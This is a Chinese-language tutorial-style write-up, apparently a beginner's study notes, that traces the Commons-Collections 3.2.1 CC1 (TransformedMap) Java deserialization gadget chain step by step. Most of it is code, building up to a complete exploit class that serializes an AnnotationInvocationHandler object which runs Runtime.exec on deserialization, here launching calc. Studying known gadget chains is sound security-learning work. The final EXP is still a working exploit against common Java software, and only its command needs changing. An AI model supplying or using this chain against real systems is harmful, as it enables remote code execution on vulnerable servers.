前言
感觉最近Java考的用的很多,自己对于Java是0基础,让我迫切想要开始学,看了大佬的学习链是从开发开始,那样感觉就太慢了而且自己对于开发兴趣不大,但是偏偏又离不开开发,只能边学开发边看安全,虽然有点急了但是也没办法了
一点建议
如果没有学过Java或者不了解idea的操作的话开始CC链之前强烈建议先跟URLDNS链,把该踩的坑踩了再弄CC链会顺畅很多
环境配置
这里我就列一下自己踩的坑,作为一个对Java和idea不熟悉的新手容易犯的错
jdk
jdk要求是jdk8u65,在官网我下载的时候选择8u65但是下载的却不是,另外的平台
安装会同时安装jdk和jre我们需要的是jdk不要把jre也放在jdk目录下,不然idea导入jdk会失败下载完的目录如下
加入依赖
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
这里当创建好maven项目后在依赖中如果没有放依赖的标签<dependencies> </dependencies>
那么需要你自己去创建,你的依赖必须由它包裹
其它环境
参考:
Java反序列化Commons-Collections篇01-CC1链 | Drunkbaby’s Blog (drun1baby.top)
https://www.lengf233.top/2023/03/19/ru-he-shou-xie-yi-tiao-cc1-lian/
基本上就没啥问题了
Common-Collections 相关介绍
这一部分前辈们已经说的很清楚了,我这里放一下方便自己观看
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
- 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的
Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
包结构介绍
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag
– 实现Bag接口的一组类
org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer
– 实现Buffer接口的一组类
org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list
– 实现java.util.List接口的一组类
org.apache.commons.collections.map
– 实现Map系列接口的一组类
org.apache.commons.collections.set
– 实现Set系列接口的一组类
开始分析
CC1链分为两个版本,这里引用一下lengf233师傅的介绍,“关于CC1链其实是有两条的,一个是LazyMap这一条链,另外一条就是TransformMap链,第二条链是传入国内之后被发现的。”很多分析文章没有介绍这一点,我也是看了师傅的文章才知道,这里分析TransformMap链
用一下佬的流程分析图
我们的目的是在最后的命令执行,既然在最后那么必然需要一个到这里的类,选择一个接收任意对象含有readObject方法的类作为入口类,中间用链子其它方法链起来那么就到达了目的
逆向分析,寻找exec方法
我们直接找哪里会调用exec方法,前人经验在Transformer接口中,所以直接到这里来,在Common-Collections.jar包中找到这个接口
然后ctrl+alt+b可以查看实现了该接口的类,最终找到了InvokerTransformer类,在该类下有个transform方法里面调用了invoke方法,此时还没感觉有什么,我们跟进看一下,可以看到它所在的类为Method类,这个类所在的包为Java中鼎鼎大名的反射包,Method中invoke(Object obj,Object…args)方法的第一个参数为类的实例,第二个参数为相应函数中的参数
那么就可以利用反射调用任意类,先尝试利用它来弹个计算器
1 2 3 4 5 6 7 8 9 10 11 12
| public class Dome { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); Class c = runtime.getClass(); Method cMethod = c.getMethod("exec", String.class); cMethod.invoke(runtime,"calc"); } }
|
这里反射调用exec方法为,先得到Runtime类的对象runtime,再得到类中所有方法的对象c,
然后得到exec方法并赋值给cMethod,然后使用Method类的invoke方法执行Runtime类中的exec方法并传入参数calc,也有一种链子的感觉
然后改写为InvokerTransformer类中的transform方法来弹,由于transform方法为public所以无需反射
1 2 3 4 5 6 7 8 9 10
| public class Dome { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(runtime); } }
|
第二句为什么要那样构造跟进类和方法看一下就能理解
然后根据最后一句invokerTransformer.transform(runtime);
去寻找不同名函数,这里我出了一个问题就是我全局搜索不到transform方法的引用,原因是在maven中没有下载jar包的源码,所以在这里搜不到,参考解决,然后find usages就能找到这个方法的引用
最终找到TransformedMap类的checkSetValue方法
跟进一下valueTransformer方法,看到它的构造
1 2 3 4 5 6 7 8 9 10 11 12
| public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected final Transformer valueTransformer; protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } }
|
是一个保护类型变量通过构造函数赋值,继续往下看找到一个public方法返回了构造函数
1 2 3 4 5 6 7 8 9
| public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) { TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer); if (map.size() > 0) { Map transformed = decorated.transformMap(map); decorated.clear(); decorated.getMap().putAll(transformed); } return decorated; }
|
这里再回忆一下我们一开始的尾部invokerTransformer.transform(runtime);
所以这里让valueTransformer为invokerTransformer是不是就可以弹计算器了,但是由于valueTransformer是protected型所以我们就要利用反射来获得,开始构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class Dome { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checkSetValueMethod.setAccessible(true); checkSetValueMethod.invoke(decorateMap,runtime); } }
|
利用成功
然后这里.decorate
无法再继续往前了,所以得重新找一条,还是find usages,不过这次是找checkSetValue的索引,然后找到了AbstractInputCheckedMapDecorator类即TransformedMap的父类
里面的setValue方法调用了checkSetValue方法
1 2 3 4
| public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
|
而调用了setValue的类是AbstractInputCheckedMapDecorator的内部类MapEntry
setValue方法就是对键值对中的值赋值的操作,跟进去即可看到
然后继续对setValue查找索引find usages,如果是readObject用了这个方法那么就找到了入口
在这里找到入口类AnnotationInvocationHandler里面的readObject方法调用了setValue方法
但是要调用setValue方法首先得满足两个条件,也就是这两个if,memberType不能为空,第二个if首先判断变量”value”是否是指定的类型”memberType”的实例,这里使用了Java中的isInstance方法。如果”value”是指定类型的实例,则条件表达式的值为true,整个条件语句的执行结果为false。如果”value”不是指定类型的实例,接下来再判断”value”是否是ExceptionProxy类的实例。如果”value”是ExceptionProxy类的实例,则条件表达式的值为true,整个条件语句的执行结果为false。
接下来构造exp
下面是理想情况下的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class Dome { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class}); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Override.class, decorateMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
但是这个payload还有三个问题没解决所以注定会失败
- Runtime对象不能被序列化
- setValue传入的对象应该是Runtime对象的,而在实际情况中确是AnnotationTypeMismatchExceptionProxy
3.通过两个if判断
解决Runtime不能序列化
Runtime不能序列化因为这个类没有Serializable接口,但是Runtime.class可以,先写一个普通的反射
1 2 3 4 5 6 7 8 9 10 11
| public class test { public static void main(String[] args) throws Exception { Class runtimeClass = Runtime.class; Method getRuntime = runtimeClass.getMethod("getRuntime"); Runtime runtime = (Runtime) getRuntime.invoke(null, null); Method method = runtimeClass.getMethod("exec", String.class); method.invoke(runtime,"calc"); } }
|
然后将Runtime
改为InvokerTransformer
调用的方式,这里为了避免冗余,可以直接使用ChainedTransformer类去套,ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
1 2 3 4 5 6 7 8 9 10 11
| public class test { public static void main(String[] args) throws Exception { Transformer[] transformers= new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); } }
|
再把它与 decorate
的链子结合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class Dome { public static void main(String[] args) throws Exception { Transformer[] transformers= new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class}); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Override.class, decorateMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
解决传入对象不为Runtime对象
这里找到ConstantTransfomer,看它里面的两个方法
1 2 3 4 5 6 7 8
| public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
public Object transform(Object input) { return iConstant; }
|
transform方法返回构造函数中传入的参数,那么控制其返回Runtime.class就解决了这个问题
所以现在payload为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Transformer[] transformers= new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("kkk","aaa"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHdConstructor = c.getDeclaredConstructor(new Class[]{Class.class,Map.class}); annotationInvocationHdConstructor.setAccessible(true); Object o = annotationInvocationHdConstructor.newInstance(Override.class, transformedMap); serialize(o); unserialize("ser.bin");
|
解决两个if问题
通过调试发现,这里不会进入if会直接跳过setValue
我们往上分析一下memberType的来源看看它的作用
可以看到它是获取传参中注解的成员方法,所以memberType不能为空即注解的成员方法不能为空,然后去找传入的注解
可以看到注解为Override,点进去看看
为空,所以这个注解不行,用Target.class
尝试一下,点进 Target
,当中有一个成员变量为 value
,所以我们 hashmap.put
也需要修改为 value
,因为第二个if就是判断成员变量与hashMap传入的参数是否相等,修改完之后到结束了
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class Dome { public static void main(String[] args) throws Exception { Transformer[] transformers= new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value","value"); Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(new Class[]{Class.class, Map.class}); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Target.class, decorateMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
弹出成功
总结
看一下整个的利用链
1 2 3 4 5 6 7 8 9
| InvokerTransfomer#transform TransformedMap#checkSetValue AbstractInputCheckedMapDecorator#setValue AnnotationInvocation#readObject
辅助利用链 ConstantTransformer ChainedTransformer HashMap
|
流程图
感觉跟完还是有点懵,不知道如何利用,还是得实际运用一下